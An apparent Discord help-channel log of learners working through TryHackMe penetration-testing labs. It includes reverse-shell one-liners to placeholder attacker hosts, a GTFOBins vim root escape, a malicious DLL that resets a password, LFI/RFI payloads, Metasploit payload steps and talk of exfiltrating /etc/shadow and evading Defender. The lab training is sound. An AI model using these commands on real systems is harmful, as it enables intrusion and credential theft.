junior-pentester-path

[shadow echo]

Solved it meanwhile ?

[drifting tundra]

Sorry, had family stuff to take care of. Still can't figure this out

any pointers maybe?

Everytime I try to run something I get a bad request and the connection is killed

[shadow echo]

Did you enter the commands as explained in the task?

[drifting tundra]

yeah. I get the connection and can retrieve the default page

but gI can't figure out the command to send to the host to retrieve the file

[shadow echo]

For the GET part of the command, what exactly did you enter?

[drifting tundra]

GET /flag.thm and also GET /index/flag.thm

[shadow echo]

And what's the reply you get when you do that?

[drifting tundra]

400 bad request

[shadow echo]

GET /flag.thm is this the full command you use?

[drifting tundra]

no it's followed by http/1.1

[shadow echo]

K

I'll try myself right now, meanwhile you could maybe verify your thm profile in discord in order to be able to send screenshots, so you can provide such as it's easier to help if we actually can see what you do exactly

[tiny bluff]

TryHackMe

That topic does not exist!

Use !docs to list all of the available topics.

From TryHackMe with ❤!

[drifting tundra]

will do

[shadow echo]

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[drifting tundra]

thanks for the help

[shadow echo]

Okay, tried it right now and it works just fine, so I'm waiting for your screenshot 🙂

[drifting tundra]

I'm somewhat ashamed to say this, bu i retried it right now and it works... 🙂

I typed thm as tmh

I'm dumb 🙂

[shadow echo]

Well, that's actually a good thing that it's working now, so nothing to be ashamed of 😄

[drifting tundra]

lol

I just makes you feel stupid

[drifting tundra]

thanks so much for taking the time to help

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Typos can happen pretty fast. You are welcome

[drifting tundra]

it shows

allright on to the next one!

[oak wind]

so its telling me to do this...and i did it

however, i cant find the difference in this one and the one they showed me to find the closed port that is now open on this VM

[vivid raft]

Scan it once without the -sT then once with it

Then see which service changed

[oak wind]

ooohhhhh

i was looking at weather it was open or closed...thank you so much!!!

[glossy fractal]

hello guys

how can you test a website

[vivid raft]

You're gonna have to be a tad more specific

[slate sinew]

Do you own the website?

[glossy fractal]

no

i am not a E COMMERCE

how can you test a WEBSITE

thanks

[vivid raft]

If you don't have permission to, we can't help you

[glossy fractal]

i am also a CYBERSEC NETWORK /INFO

ETH

can someone talk to me like a call

[slate sinew]

If you don't own it, don't touch it. Doing security testing on a site you do not own is illegal and unethical.

[glossy fractal]

i am 18 yrs old from asia SINGAPORE

male

https://tenor.com/view/singapore-gif-5351211

[slate sinew]

As your question doesn't specifically relate to the Junior Pentester Path on THM, please take this discussion to #general

[worn oak]

Hi

[glossy fractal]

i am a ethical hacker of course i do not touch it

i am not a black hat hacker

[winter canopy]

need help on linux privesc room task 9 about cron job

i editted the script to reverse shell but i had to execute it manually to get the reverse shell. any explanation?

[shadow echo]

Which file did you edit ?

[winter canopy]

the backup one

[shadow echo]

Could you show a screen of the crontab ?

[winter canopy]

that's the crontab

[shadow echo]

Also one last thing, could you show the output of ls -al /home/karen/backup.sh you can just copy paste it, no need for a screenshot

[modest arch]

Had the same issue. Yes, we have to change permissions for that file, so it'd be executable.

[winter canopy]

thank you i just spot the mistake

[next lance]

Gave +1 Rep to @shadow echo

[winter canopy]

about the deleted file, where do i have to create it to make the cronjob works? tried making it in karen directory but it's not working

/home/karen

[shadow echo]

Which deleted file you mean?

[winter canopy]

antivirus.sh

[shadow echo]

You have to check if you can write into any of the directorys listed in the PATH variable in the crontab, as cron will only check these directory for the file if the full path to it is not specified. So because /home/karen is not in that PATH variable of the crontab, it won't check for that file in there.

[winter canopy]

The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists.
If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, we should be able to create a script named “antivirus.sh” under our user’s home folder and it should be run by the cron job.

[winter canopy]

it says something like that on the material. care to explain to me?

[shadow echo]

Yes, that's basically the same what I said. But the difference in the example is that the /home/user directory is specified in the PATH variable of the crontab (Check the 2nd image of the crontab in the example). Whereas /home/karen is not specified in the PATH variable of the crontab on the target machine.

[winter canopy]

ah i get it. thanks a lot

[next lance]

Gave +1 Rep to @shadow echo

[proud pollen]

Hi I need help for Linux priv esc task 5. I have sent the ofs file over with the simplehttpserver, and have compiled and granted it permission

When I tried running it, I got an error saying version 'GLIBC' not found (required by ./ofs)

[idle bison]

You didn't compile it on the box, so it has different linked libraries.

You compiled it for a different version of libc

[proud pollen]

Ohh I see. Thanks James I'll try this after I eat 🤠

[proud pollen]

Completed this task! Cheers. I wasn't sure how to interpret that error msg but now I know :)

[pearl drum]

hi everyone im planning to take ejpt cert this coming Feb.. any tips for me or there is any site that offer mock exam like ejpt.. thank you everyone ^_^

[brittle quartz]

Hey guys, I am walking through the nmap rooms, and am getting a bit confused in the difference between -pU and -sU, both seem to be using UDP? Or is -pU only used to find live hosts and -sU only to find open ports?

[modest arch]

-pU or -PU?

[brittle quartz]

Sorry, -PU indeed

[modest arch]

-PU is a ping method, -sU is a scan method.

[brittle quartz]

Ah okay, thank you.

[vagrant elk]

I try not to rely on PU because it stinks...

[steel scroll]

dude, thanks. I got stuck on this one for a while. So decided to search discord for hints. I was on the right track and using curl, but couldn't figure it out until I went back and read the earlier "authentication bypass"... also, I like theres a chat history

[next lance]

Gave +1 Rep to @left gale

[modest arch]

Why I'm not getting cookie after setting http server and using the exact payload ..(room:xss)

[modest arch]

I am not sure which task in that room requires an HTTP server!?

[merry bear]

Hi

[modest arch]

Xssgi

I completed this room with tryhackme request catcher

[merry bear]

I need help with metasploit exploitation. Task 6 under the jnr pen tester path.

I am finding it impossible to send a screenshot, so I can state what the problem is.

Please, I would really appreciate your help.

[modest arch]

You can verify and send screenshots.

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[modest arch]

That's what worked for a lot of people here. (I am not sure yet what you mean with an HTTP server. Maybe nc listener?)

[winter canopy]

question about nfs on linux privesc room

[merry bear]

Thank you so much.

[next lance]

Gave +1 Rep to @wispy nimbus

[merry bear]

This is where I am stuck at.

[winter canopy]

i tried to mount target shared folder to my new folder under home directory but it wasnt sharing anything. but when i try to mount the exact same folder to /tmp/anything it's working. any explanation?

[modest arch]

Please let us know what you have tried till now.

[merry bear]

The task requires me to create a payload on my attacking machine and then download it to my target machine.

I created my payload, downloaded it to the target machine.

But the part where I have to get a metepreter session does not seem really clear to me.

[modest arch]

Can i dm you

[modest arch]

Yes.

[modest arch]

Looking into this.

[merry bear]

Thank you so much.

[next lance]

Gave +1 Rep to @wispy nimbus

[modest arch]

What was the last command you ran and on which machine?

Did you setup the handler?

[urban whale]

is linprivesc room broken ?

at task 8 (capabilities) vim/view was not compiled with python so i was not able to run ||./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'||

and also i was able to view the flag4.txt with karen's account without any privilege escalation

[modest arch]

try with py3 instead of py

[merry bear]

Yes I did. Even set the payload.

[merry bear]

That would be exploit, on my attacking machine

[modest arch]

And you got your shell?

[merry bear]

No I did not.

[modest arch]

Just repeating the steps:

1. Create the payload (LHOST and LPORT are your attacking machine's)
2. Upload it.
3. In a different panel, launch the handler after setting LHOST and LPORT and payload (!!!)
4. chmod +x the payload
5. Execute the payload

[merry bear]

Thank you so much. I’ll try it out again.

[next lance]

Gave +1 Rep to @wispy nimbus

[merry bear]

This is where I am at.

Nothing is happening.

[shadow echo]

Because that's only a listener (handler) which is waiting for an incoming connection, basically the same as a netcat listener. You have to execute the rev_shell.elf file on the target machine that you created in a previous step.

[modest arch]

Now, I am also not sure if you set the payload in the handler to be the same as the payload uploaded.

[merry bear]

How do I execute it ?

[merry bear]

I did that.

[modest arch]

Did you chmod +x the uploaded file? @merry bear

[merry bear]

Yes I did that too.

[modest arch]

@merry bear ./<file_name>

[merry bear]

On my target machine

[modest arch]

@merry bear Yes, where you ssh'ed in

[merry bear]

Okay.

Wow. I got a session already. Thank you so much.

I really do appreciate your help.

[shadow echo]

+rep @modest arch

[next lance]

Gave +1 Rep to @wispy nimbus

[shadow echo]

That's just fair to me 🙂

[merry bear]

I’m still stuck please. 😒

[modest arch]

?

[merry bear]

I need to dump hashes.

[modest arch]

Without loosing your session :)

[merry bear]

Is that possible ?

[modest arch]

Yes. You need to background your session.

[merry bear]

And ?

[modest arch]

Find the module, change the settings. (you need your session ID)

[merry bear]

Thanks.

Done.

[unreal plume]

Hi guys/ladies. I'm progressing through this path and so far everything has been fine. I've just got to the LinPrivEscPATH3 part where it talks about privilege escalation through PATH configuration issues and the creation of a binary with SUID enabled to run a shell creation script. Although I think I understand it, the machine for this task just didnt imitate the instructions and I found I was able to get the flag without doing much at all. Can anyone point me to another source of information on this particular subject as it seems pretty important. Thanks

[idle bison]

Try Deja Vu

https://tryhackme.com/room/dejavu

[unreal plume]

ahh thanks Ninja 🙂 Appreciate the help

[next lance]

Gave +1 Rep to @idle bison

[half dragon]

Howdy all. Running into issue with the Metasploit: Meterpreter room.
It wants a session before enum_shares can connect. I found that I can use ||psexec || to do that but When I try to connect I get this:

Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_USER_SESSION_DELETED

What am I doing wrong. Googling around has led me to beleive this is on thm's end. If it's not can I not be spoonfed the answer please

nvm i typod the password.

[modest arch]

When I do nmap scan for target machine it shows me like this anyone know why?

I do this in my lab not in tryhack me

[ancient marlin]

Look up rttvar, there's some interesting stuff to try

[urban whale]

stuck in linprivesc CRON not able to get revshell

its been 5 min

[unreal plume]

stick a ping ipaddress -c 3 after your shell command to see if its firing, and run tcpdump -i tun0 icmp on your attack box to catch it. You can then see if its firing at least

if you get the ping back, then you know the shell command hasnt worked and you can re-think why the shell doesnt fire.

shell's can be a pita, but persevere and try different versions. Always make sure to check the targets machines capabilities (which python3 for example) to make sure you're using an appropriate script

[urban whale]

yep its pinging

[urban whale]

i tried python3 , bash

not working

i tried switching from VPN to attack box not working

||sh -i >& /dev/tcp/attackboxip/4445 0>&1 , 0<&196;exec 196<>/dev/tcp/attackboxip/4445; sh <&196 >&196 2>&196 ||are they correct ?

both not working

tried python3 too

[unreal plume]

no, thats not right. if you want cron to execute it, it should start with #! /bin/bash

||#! /bin/bash
bash -i >& /dev/tcp/target_IP/port 0>&1||

dont forget to start a listener

[urban whale]

do i need to make the file executable ?

[unreal plume]

I actually cant remember, but it wouldnt do any harm to chmod +x it 🙂

[idle bison]

@urban whale /dev/tcp only works in bash, not in sh. It's something to avoid if you're not sure what shell you're using

[urban whale]

let me try

[unreal plume]

I didnt know that Ninja. Thanks. TIL... 😉

[next lance]

Gave +1 Rep to @idle bison

[idle bison]

I say only works in bash... I suspect it'll work in zsh and fish etc too

[unreal plume]

I'm not enjoying the Windows part of that course.

[urban whale]

target_ip or attacker ip ?

[unreal plume]

the script should point back to your attacking IP

[urban whale]

thanks @unreal plume @idle bison

[next lance]

Gave +1 Rep to @unreal plume

[urban whale]

i got the sol.

[unreal plume]

\o/

[urban whale]

i had to specify the listing IP on nc !

nc 10.10.233.133 -lnvp 9001

otherwise it was listening to 0.0.0.0

[unreal plume]

0.0.0.0 is ok. That just means its listening on all IP's and interfaces

[urban whale]

then it seems like making file executable worked

chmod +x

🥴

[unreal plume]

[modest arch]

Personally, I find it easier to just add to the cron job "chmod +s" the bash binary and run bash -p. Would work even if nc would not be installed on the target... @urban whale

[urban whale]

[oak wind]

How would I read a file or view a directory in ftp? For example…”flag_thm”

Or something like thst

[modest arch]

Download it with wget on your machine then read it

[delicate tide]

Just finished this path. Thanks to everyone that assisted me on the way. Time to do some boxes!

[drifting cargo]

Buen trabajo

[modest arch]

How much time it took to you to complete this path??

[delicate tide]

Around two months

Dunno if that's considered fast or slow but i spent a few hours each day on it. Took a lot of notes as well. Not just reading and flying through it

[modest arch]

Can you send me your notes??

[delicate tide]

Nah

My notes are just the material in my own words along with added bits of research here and there. You can develop something similar as you go through the path

[modest arch]

Fine

[earnest ice]

[oak wind]

Thanks

[next lance]

Gave +1 Rep to @round verge

[silk bolt]

Got a Q for room/linprivsec : Privilege Escalation: Capabilities
how come the GTFObins work like this: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
but not like this: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

[unreal plume]

Just finishing this Jr path. In the Windows Vulnerabilities scanning, I'm not getting anything when using sc in a powershell window e.g. sc qc [nameofrunningsw]. Is sc broken on these boxes? (https://tryhackme.com/room/winprivesc)

[unreal plume]

strange. I would have thought it would be the other way around as preceding an executable with ./ generally means run from here.

unless you are in the vim path at the time you execute it (which generally you are unlikely to be)

[shadow echo]

sc is an alias for set-content in powershell. So either run that command in CMD or use sc.exe

[unreal plume]

Thanks Fontaene

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Because it's not using the vim binary that has the capabilities set. You can simply compare the path of the vim binary that has the capabilities set and the path of the vim binary that's getting used if you enter which vim

[unreal plume]

whats the simplest way to send a file from an RDP windows desktop back to my linux box?

cut'n'paste aint working 😉 (i.e. cant base64 encode and then cut'n'paste it across)

[rose zenith]

note to self, if you go to a php page and try to find a file, you might just break everything by having it load itself

[unreal plume]

lol

DoS'ing the THM boxes not a good idea 😄

[rose zenith]

luckily (?) I was on my own vm so I just terminated the machine and restarted vmware

in theory everything should be alright... maybe not I'm about to find out I guess

[silk bolt]

SSH [server] on the linux box and (e.g.) WinSCP on the windows box

[unreal plume]

Thanks Data. I ended up using Remmina as the RDP client on my linux box and shared my Downloads folder 😉

loving Remmina !!

[silk bolt]

Still on LinPrivSec - could itbe that the Privilege Escalation: SUID is borked?

• motd looks like the vanilla Ubuntu one,
• ssh login is also wierd (and not succeeding?)
• nano doesn't have the SUID bit (referred to in the instructions) `

[shadow echo]

nano SUID bit set in the instructions is just an example, doesn't have to be set on the target machine

[unreal plume]

is there a powershell reverse shell that wont get picked up by defender? Tried the ones in PayloadsAllTheThings but they all get stopped when executed

[idle bison]

Room?

[unreal plume]

or am I going to have to obfuscate a meterpreter shell

[silk bolt]

Still stuck - ran the find command, got a list of bins with SUID, but no hits with SUID on GTFObins...?

[unreal plume]

https://tryhackme.com/room/winprivesc DLL_Hijack

[idle bison]

...that has defender enabled?

[unreal plume]

yes

[shadow echo]

You sure? Iirc there should be something to use, but let me check myself again

[unreal plume]

I can get the dll injection to work but that just gives me whoami information. Was trying to go further and use the technique to try a reverse shell

[silk bolt]

FML - code-18~
GTFObins' search is order-sensitive 😓

[unreal plume]

PS C:\temp> sc.exe query windefend

SERVICE_NAME: windefend
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS C:\temp>

[idle bison]

I'd recommend holding off on AV Evasion for a while

[unreal plume]

ok. was enjoying the injection side of things and trying to get ahead 😉

[shadow echo]

So that means you found a binary to use now?

[silk bolt]

Yep - now to exfil /etc/shadow - but the SSHd is still borked

[shadow echo]

What you mean by that, what exactly is happening ?

[silk bolt]

OpenSSH_8.4p1 Debian-3, OpenSSL 1.1.1l  24 Aug 2021
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf matched no files
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to 10.10.<redacted> [10.10.<redacted> ] port 22.
debug1: Connection established.
debug1: identity file /home/kali/.ssh/id_rsa type -1
debug1: identity file /home/kali/.ssh/id_rsa-cert type -1
debug1: identity file /home/kali/.ssh/id_dsa type -1
debug1: identity file /home/kali/.ssh/id_dsa-cert type -1
debug1: identity file /home/kali/.ssh/id_ecdsa type -1
debug1: identity file /home/kali/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/kali/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/kali/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file 

[shadow echo]

Well tbh I don't know what sshpass even is? But why don't you simply use ssh karen@10.10.243.13 ?

And from which machine are you running that command ? From the web based target machine ?

[idle bison]

A way of specifying an SSH password at the commandline

[silk bolt]

Running it from my local box on the VPN
sshpass -e answers the password prompt for you

[silk bolt]

hehehe (read above)

[unreal plume]

I've found a problem with the DLL Hijack Service in the https://tryhackme.com/room/winprivesc DLL_Hijack room. Once you've tested the initial exploit to get the whoami information, you are unable to replace the hijackme.dll with the modified version for question 2 as the original dll is in use. Trying to stop the dll service (sc.exe stop dllsvc) doesnt work (privilege violation). Should I just restart the box?

[idle bison]

The real question is... why are you using sshpass?

[silk bolt]

for CTFs/ exercises (and non-sensitive credentials, obviously) it saves lots of keystrokes (and works with scp too

[silk bolt]

#junior-pentester-path message
Any ideas? (using a reverse shell instead 🤷‍♂️ )

[shadow echo]

Can I try to ssh into your target machine to check if it's an issue with the machine or on your side?

[silk bolt]

sure! (DM'd you)

[unreal plume]

Completed 🙂 On to new courses....

[modest arch]

Whats after this??

[rose zenith]

I gotta say, SQL injection by hand, especially blind timing... Isn't great 😃

[unreal plume]

There’s nothing designated so you can progress to whatever takes your fancy

[faint hull]

Hi, in the netSec challenge, i cant do this question

Browsing to http://10.10.218.195:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?

i have tried TCP Connect Scan and TCP Syn ( -sT and -sS ) with T1 to avoid IDS detection but it take too much time

how have you resolved this question ?

[shadow echo]

You don't have to over complicate it by using -T1 or whatever, if you pick the right scan type you should be fine.

[faint hull]

the flag should appear on the url after ?

[shadow echo]

I think just on the webpage yes, so not in the url bar, if that's what you meant

[faint hull]

Yes

[rose zenith]

so you've tried -sT and -sS, keep going with that same line of thought and see what you get.

I had a huge problem with that question for some reason, but then I stopped using db_nmap rather than just straight up nmap and I got the result very quickly

[tribal kiln]

yes

[silk bolt]

InLinPrivEscCRON but the cron jobs don't seem to be running every minute, as specified...? (touch nor reverse shell are firing)

[shadow echo]

Check the permissions of the file

[silk bolt]

...nothing on that in the tutorial! 🤦 (got it now 🙏 )

[vernal stream]

Is the Walking an application's inspector task broken? I'm making the premium block disappear, but the flag doesn't show up and I can see the div where it should be appearing in the inspector remain blank as well 🙂

ahh. nevermind ... see the issue

[signal oak]

in "Walking An Application" in the debugger section they talk about a flash that I should see on the website and that I can find in the assets

but I don't see any flash and there's no flash file in the assets

I restarted the machine, same

[silk bolt]

linprivsec:NFS can anyone explain why a c-program calling /bin/bash (admittedly with setuid(0) calls) and SUID bit results in a root shell but a bash script calling /bin/bash, also with the SUID bit set, results in a shell under the current user?

[steel gorge]

Evening guys, could I get some help with this issue?

it says the ffuf command not found

Using Parrot.

[signal oak]

sudo apt install fuff

[steel gorge]

THANK U

[vivid raft]

I'm having a lot of trouble with this one answer in room Linux PrivEsc Task 3

What Vulnerability seem to affect the kernel of the target systen

[normal snow]

Sweet Cert #5..

[vivid raft]

OSINT go brrrrrr

[normal snow]

so thats easy... you kind of already answered it (assuming youre working in order) you have to goto to https://www.exploit-db.com/ and look up the version of the kernal you found earlier

[drifting cargo]

How long is the hydra scan supposed to take in the netsec challenge?

[vivid raft]

If it's more than 5 min ur doing something wrong

[normal snow]

if you scanning "root" dont

think you supposed to scan "missy"

if thats the task im thing of.. but theyre super fast..

shouldnt be more than 30 secs

[drifting cargo]

Not missy

[normal snow]

one sec.. think im thinking of a task or two later where i scanned using hydra but wasnt in the task..

what username youscanning?

[drifting cargo]

Got it. It was a different port

[normal snow]

youll see what im talking about at some point.. youll crack into the /etc/shadow file and there will be two hashes.. one for root and one for missy.. scan missy.. not root

i sat there for like 15 min.. then saw missy.. 🤦‍♂️

[slate prism]

Is it necessary to have a system or laptop with higher RAM ?

[ancient marlin]

Not really unless you want to run large local VMs is all I can think of

[slate prism]

Okay i use a dual core system but sometimes got hanged to work

[ancient marlin]

CPU/GPU could be relevant to cracking hashes or something but this should be mostly about figuring out what small pieces of unexpected data to send 😛

[unreal plume]

Fully suggest using the built-in Attack system if you have low resources. Works great if you're on a lower spec machine without the ability to run a VM

a basic Linux VM needs a min of 1 CPU and 1Gb Ram, but in reality being able to dedicate 2 CPU cores and 4Gb RAM will give you a better experience

[vernal stream]

@signal oak are you on contact page and looking at devtools sources tab?

[slate prism]

I have 3GB RAM intel dual core PC and it still get hanged sometimes

[idle bison]

3GB of RAM is not a lot, and a dual core is not a lot.

[unreal plume]

in all honesty, unless you are running Linux as the core os of your laptop, I would stick to using the attackbox in a webbrowser

[slate prism]

Yes i have Ubuntu Linux install, but the machine on the web browser isn’t connecting

[signal oak]

I figured it out yesterday thanks ! I wasn’t on the contact page

[next lance]

Gave +1 Rep to @vernal stream

[rose zenith]

finally

[silk bolt]

bump?

[sage current]

missing -p flag

       If  the  shell  is  started  with the effective user (group) id not equal to the real user
       (group) id, and the -p option is not supplied, no startup files are read, shell  functions
       are  not  inherited  from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE
       variables, if they appear in the environment, are ignored, and the effective  user  id  is
       set to the real user id.  If the -p option is supplied at invocation, the startup behavior
       is the same, but the effective user id is not reset.

according to the manual page

is shadows assumption.... might be wrong though

[silk bolt]

cool - I'll try /bin/bash -p in the executable 🙏

[sage current]

good luck

[signal oak]

I can't access the Acme IT support website

the website won't load

did that happen to anyone

I restarted the machine but the new IP is still not working

[sage current]

are you connected to the vpn??? if not that is the cause

[signal oak]

do I have to be connected to the VPN ? in the previous room I was accessing the website no problem

[sage current]

yuup you need to be connected to the vpn... or be using the attackbox to connect

[signal oak]

I guarantee you I was accessing the website on my regular browser on my regular PC

but I'll try that

I'm seeing it right now in my history

and I've never been connected to any VPN ever

[idle bison]

If it's 10.10.x.x, then you'll need the VPN or attackbox.

[signal oak]

yesterday I accessed a 10.10.x.x website and I didn't use attackbox nor the VPN

I still have the IP in my history

[brazen rain]

Help! Im stuck on protocols an servers 2. password attack. Here is the hydra script im running and I am getting nothing

heres the error

[carmine dune]

I'm stuck on challenge 1 of File Inclusion

I edited the request in developer tools and resent it but it doesn't work

[brazen rain]

nm! solved it

[carmine dune]

never mind I got it

[tardy dock]

hello I am struggling with content discovery task 3. I found the md5sum hash value but it is not on the owasp website?

[idle bison]

Not possible through sheer laws of networking.

[maiden stratus]

That might just be a website on their local network
Like my uni WiFi uses a vpn and gives ips like 10.5.x.x
And our online library is also on some ip like 10.10.x.x

[carmine dune]

I'm stuck on File Inclusion lab challenge 3

I have no idea what to do

I tried curl -X POST http://10.10.216.82/challenges/index.php -d 'method=POST&file=../../../../etc/flag3%00' --output -

and that didn't work

[jaunty pilot]

good guess

otherwise it's not possible that's a priv ip

[maiden stratus]

Yep

[tardy dock]

i'm stuck on username enumeration of authentication bypass, it says directory not found and I did it exactly like they said

[idle bison]

Ok, so if it can't find the file there, perhaps it's not there? Perhaps you typo'd the file path hint hint

[gaunt lion]

did anyone explain why the hash doesn't show in the list?

I'm stuck at the same point

Content Discovery Task 3

[modest arch]

because the address is wrong. it has to be "curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum" like this.

[gaunt lion]

@modest arch Thank you!

[next lance]

Gave +1 Rep to @livid drift

[modest arch]

welcome

[gaunt lion]

Subdomain Enumeration task 6, I am having issues with the -fs {size}. I found the answers ||delta || and ||yellow|| because I looked through it manually but I must have some simple mistake I'm not getting with -fs {size}?

[modest arch]

you don't use curly brackets. use as -fs 2395

[gaunt lion]

@modest arch thank you, I probably need to build up my Linux skills more than what the pre-security course offered

[next lance]

Gave +1 Rep to @livid drift

[modest arch]

you're welcome! have fun learning 🙂

[brazen rain]

Having trouble using the attackbox for Vulnerability capstone. What am I doing wrong?

[idle bison]

That error is a good one to watch out for.
Python 2 had print as a keyword rather than function, so you'd print name rather than print(name).
When you see that error, the script is written for python2

[dusk spire]

hello guys!! totally new here...can anyone suggest where can i start with😅

[high lintel]

#start-here #rules

[dusk spire]

👍

[dire lantern]

Could someone get me a sanity check on the Windows Privesc Room, Task 5?

[shadow echo]

Sure, so what you stuck on or what you want to know ?

[dire lantern]

I'm following the explanation, but I can't login with the new password, should I PM you with my code or should I just put in here?

[shadow echo]

No you can just post it here

[dire lantern]

First I created my malicious DLL with

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net user jack qwerty");
        ExitProcess(0);
    }
    return TRUE;
}

and x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll.
Then I start my http server and download the DLL to C:\Temp\hijackme.dll
Afterwards I run sc.exe stop dllsvc (tells me that it's not started) and sc.exe start dllsvc
Finally I try to open a shell as jack with runas /user:jack@Jack-DLL "powershell"
which tells me that the user name or password is incorrect.

[shadow echo]

So you name the dll "output" ?

[dire lantern]

no, I download it as hijackme.dll, just edited my message

[shadow echo]

So instead of using runas, have you also tried to rdp into the machine with the new password ?

Also, I'm not sure if it somewhat is related to the password, but I would also suggest trying to use the suggested password in the hint, not sure of that password is somehow not accepted because it's to short or has no numbers or something similar to it

[dire lantern]

I can't rdp into the machine, because I get an error that kerberos isn't initialized

[dire lantern]

will try it again

[shadow echo]

Mh, well then maybe try to restart the target machine, then go with the suggested password from the hint and also try to run the provided stop and start command in cmd. Other then that I guess there is not much else.

[signal oak]

in the file inclusion room they say Note that we used 4 ../ because we know the path has four levels /var/www/html/THM-4. But we still receive the following error:
then the error shown is Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
so in the error there's 5 ../, I tried it myself and it gives 4 ../ so I don't get it, even after that they keep showing errors with 5 ../

[dire lantern]

alright, thanks, I'll try it

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Because there is no file called "passwd.php" you have to find a way to get rid of the ".php"

[signal oak]

I know I'm talking about the number of dot-dot-dash's

it's 4 then it's 5

to me it would have been 5 since the beginning because there's the included directory

but they specifically say that they use 4 ../

then in the errors it's 5

so I'm confused

[shadow echo]

Which task is it btw ?

[signal oak]

Local File Inclusion - LFI #2

[shadow echo]

Have you tried the same on the target machine and you also got 5 times ../ instead of 4 or you just refer to the image in the task?

[signal oak]

when I type 4../ I get 4 in the error

in the task they use 4 and they get 5

[shadow echo]

Okay well then maybe that's just a mistake in the tasks image, I'll try it myself and in case there is only 4 in the error I'll report it 🙂

[signal oak]

alright thank you

don't forget to mention me I want that reward

[shadow echo]

Well there is no reward beside the appreciation to bring that up and some rep 😄 +rep

[next lance]

Gave +1 Rep to @signal oak

[signal oak]

on the feedback page they say "Useful feedback may result in awards!"

[dire lantern]

Knowledge gained: It worked after I used runas /user:jack "powershell.exe"
So you don't have to specify any domain apparently

[idle bison]

That's for useful feedback delivered via the form.

[signal oak]

that's what I said

[idle bison]

Bugs would be reported through #room-bugs

Or another channel for Discord staff directly reporting bugs, not via the form either way

[signal oak]

oh ok

english not being my first language I thought feedback meant anything related to reporting something wrong

[idle bison]

It can, that's just not the process that's followed here

[signal oak]

I see

[signal oak]

I've been trying the remote file inclusion challenge for a couple of hours, now I've watched a walkthrough and I was doing the same thing the whole time but it doesn't give me the flag

I have a cmd.txt with the text <?PHP echo exec("hostname"); ?>, I start a server on the same folder as the file (with default port so 8000), then I go tohttp://the.website.ip/playground.php?file=http://my.vpn.ip:8000/cmd.txt

all I get is File Content Preview of http://my.vpn.ip:8000/cmd.txt

without nothing following

[idle bison]

cmd.txt ?

Perhaps, as it's PHP, a different extension would be appropriate

[signal oak]

ok I'll try that

[idle bison]

Are you getting hits on your HTTP server either way?

[signal oak]

good question I don't even know

thanks for the tips I'll try that

wait I'm supposed to see the HTTP requests in the terminal below the python server running

so no I don't get requests

I checked my IP, and the port, I don't know what's blocking it

it works when I request cmd.txt directly

but not via the website

[violet chasm]

Sorry if this has been asked before. Brute force section of authentication bypass I tried outputting the result but I don’t see it. Doesn’t return an error

Can someone please help me?

[shadow echo]

Check your valid usernames file, it's not supposed to have any other strings in it except the username (1 per line). So no status codes, size etc.

[violet chasm]

So I did: cat [pw file directory]. I can see all the password, same for the usernames

[shadow echo]

So in the previous task you found valid usernames, right ?

[violet chasm]

Yes I did and answered the questions

[shadow echo]

So then you created a new file with these usernames, right? If so, do cat usernames_file and let me see the output pls.

[violet chasm]

Can’t post photos unfortunately but: cat valid_usernames.txt returns
a****
r*****
s****
s****

[shadow echo]

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[shadow echo]

If you verify you can send screenshots.

[violet chasm]

Okay I’ll very thanks

Here is the result I’m getting

I don’t know what to add to see the working user/pw combination

[idle bison]

Think about what you're sending to the webserver

You could even proxy ffuf through burp to see exactly what it's sending

[violet chasm]

If I’m not mistaken, I’m looking for which combination returns response status 200 right? How can log each attempt?

[shadow echo]

Look at your valid usernames file. For example, admin is a valid username. But in your file it's going to try the username admin [Status:200, Size: 370, Words: 992,] which is not a valid username anymore.

[violet chasm]

Oh that makes sense! 😮 I see what I did wrong. Thank you so much!

[elder cliff]

Content discovery room, task 6 i couldn't find the flag

[heady mesa]

can i have some coupon code to apply for premium subscription? i really want to learn more and i am broke

[signal oak]

you could win 1 free month there's a giveaway going on in #community-announcements

[signal oak]

I'm still stuck on that

it won't access the file and I don't see any request server-side

I tried changing ports, opening ports inbound and outbound

I'm sure it would work via the attackbox but I want to know why it's not working on my machine

I'm using WSL btw

maybe that's the source of the problem

[heady mesa]

thanks. fingers cross

[next lance]

Gave +1 Rep to @signal oak

[carmine dune]

I'm stuck on task 8 Practical Example (Blind XSS) of Cross-Site Scripting. I can't get the code to work

this is what I'm doing . I'm also runnig netcat set to listen on port 9001

[shadow echo]

You sure your tun0 IP starts with 10.6 ?

